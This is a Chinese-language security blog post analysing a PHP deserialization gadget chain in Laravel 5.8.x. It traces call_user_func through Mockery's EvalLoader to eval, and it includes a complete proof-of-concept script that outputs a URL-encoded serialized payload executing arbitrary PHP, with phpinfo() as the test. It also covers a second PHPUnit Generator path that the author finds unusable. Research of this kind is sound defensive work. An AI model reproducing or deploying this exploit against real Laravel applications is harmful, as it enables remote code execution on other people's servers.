laravel5.8.x 反序列化详记(二)

前言

接上文的第一条链,由于call_user_func()不仅可以调用任意系统函数,还可以调用类中的方法,因此本文是对后者调用类的方法的补充。

实现任意类的任意方法的格式可以如下:

$a = new A();
call_user_func("call_user_func",array($a,"a"));

其中第一个参数为call_user_func,第二个参数为数组,数组的第一个元素对应为类名,第二个元素对应为类中的方法名。

本例子就是调用a对象的a方法。

另外也可以有这种格式:

$a = new A();
call_user_func(array($a,"a"),"abc");

直接第一个参数就为数组,第二个及之后的参数为a方法所对应的参数(有几个参数即对应传几个),如果a是无参的就可以随便传‘abc’(也可直接不传)。

调用类方法1

首先找找框架中有什么可利用的类方法,例如全局搜索eval关键字,找到EvalLoader类(Mockery\Loader)中的load方法存在eval函数:

class EvalLoader implements Loader
{
    public function load(MockDefinition $definition)
    {
        if (class_exists($definition->getClassName(), false)) {
            return;
        }

        eval("?>" . $definition->getCode());
    }
}

在执行eval之前要先绕过if判断,也即$definition->getClassName()所返回的类必须是不存在的。

所以先找找哪个类中的getClassName方法可以利用。发现该方法存在于MockDefinition类(Mockery\Generator)中,当然从MockDefinition $definition的声明也可以得知。

跟进getClassName方法

    public function getClassName()
    {
        return $this->config->getName();
    }

找找getName,发现该方法存在于MockConfiguration类(Mockery\Generator)中,所以config变量应该为一个MockConfiguration对象。

跟进getName方法

    public function getName()
    {
        return $this->name;
    }

返回变量name,也即我们的目的就是要让其所指的类名不存在,这个可以很简单实现。

至此POP链构造完成。

POC代码

<?php

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        public function __construct($events="",$event="")
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver ;
        public function __construct($queueResolver)
        {
            $this->queueResolver=$queueResolver;
        }
    }
}

namespace Illuminate\Broadcasting{
    class BroadcastEvent
    {
        public $connection ;
        public function __construct($connection){
            $this->connection=$connection;
        }
    }
}

namespace Mockery\Loader{
    class EvalLoader {

    }
}

namespace Mockery\Generator{
    class MockDefinition{
        protected $config;
        protected $code;
        public function __construct($config,$code)
        {
            $this->config=$config;
            $this->code=$code;
        }
    }
}

namespace Mockery\Generator{
    class MockConfiguration{
        protected $name="a";
    }
}

namespace{
    $a=new Mockery\Loader\EvalLoader();
    $d = new Illuminate\Bus\Dispatcher(array($a,'load'));
    $x=new Mockery\Generator\MockConfiguration();
    $m=new Mockery\Generator\MockDefinition($x,'<?php phpinfo();');
    $b = new Illuminate\Broadcasting\BroadcastEvent($m);
    $p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
    echo urlencode(serialize($p));
}

运行结果:

调用类方法2

仍然全局搜索eval关键字,找到Generator类(PHPUnit\Framework\MockObject)中的evalClass方法存在eval函数:

    private function evalClass($code, $className): void
    {
        if (!\class_exists($className, false)) {
            eval($code);
        }
    }

首先要先通过if判断,也即要求$className不是一个存在的类,这个很简单,随便命名一个即可。

然后就可以执行$code了,我们这里用phpinfo();做测试。

但是这里陷入了困境,evalClass这个方法中的两个参数是直接定义的,而不是本类定义的(也即不是$this->code、$this->className这种类型),这样导致我们无法通过反序列化覆盖这两个参数,而只能通过call_user_func来传参,也即理想情况下应该为这种形式:call_user_func(array($a,'evalClass'),$code,$className)(其中$a是Generator的实例化对象)。

而之前的分析知道:我们此时只能利用的形式是:call_user_func($this->queueResolver, $connection),第一个参数$this->queueResolver必定是array($a,'evalClass'),但第二个参数$connection却无法同时带有两个参数,我尝试用数组形式array($code,$className)也不行,这样不行也可以理解,因为PHP把它当成一个数组类型参数而不是两个参数了。

Somnus师傅分析这个地方可以利用,是因为他分析的代码是这样(可能是版本不一样所致?):

由于是this这种形式,所以直接通过反序列化覆盖即可,无须进行传参。而且这里的generate是无参的,显然好利用多了。

除此之外如果想利用call_user_func还要考虑一点,就是该方法是private还是public,如果是前者是无法利用的。。。

所以如果改成Somnus师傅所分析的代码,到此就可以写POC了,只需要把第一条链中的call_user_func($this->queueResolver, $connection),其中的第一个参数为call_user_func,第二个参数为array($a,'generate'),(这里的$aGenerator类的一个实例化对象)。

可以看看对应的POC:传送门

参考文章

Somnus师傅的文章

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据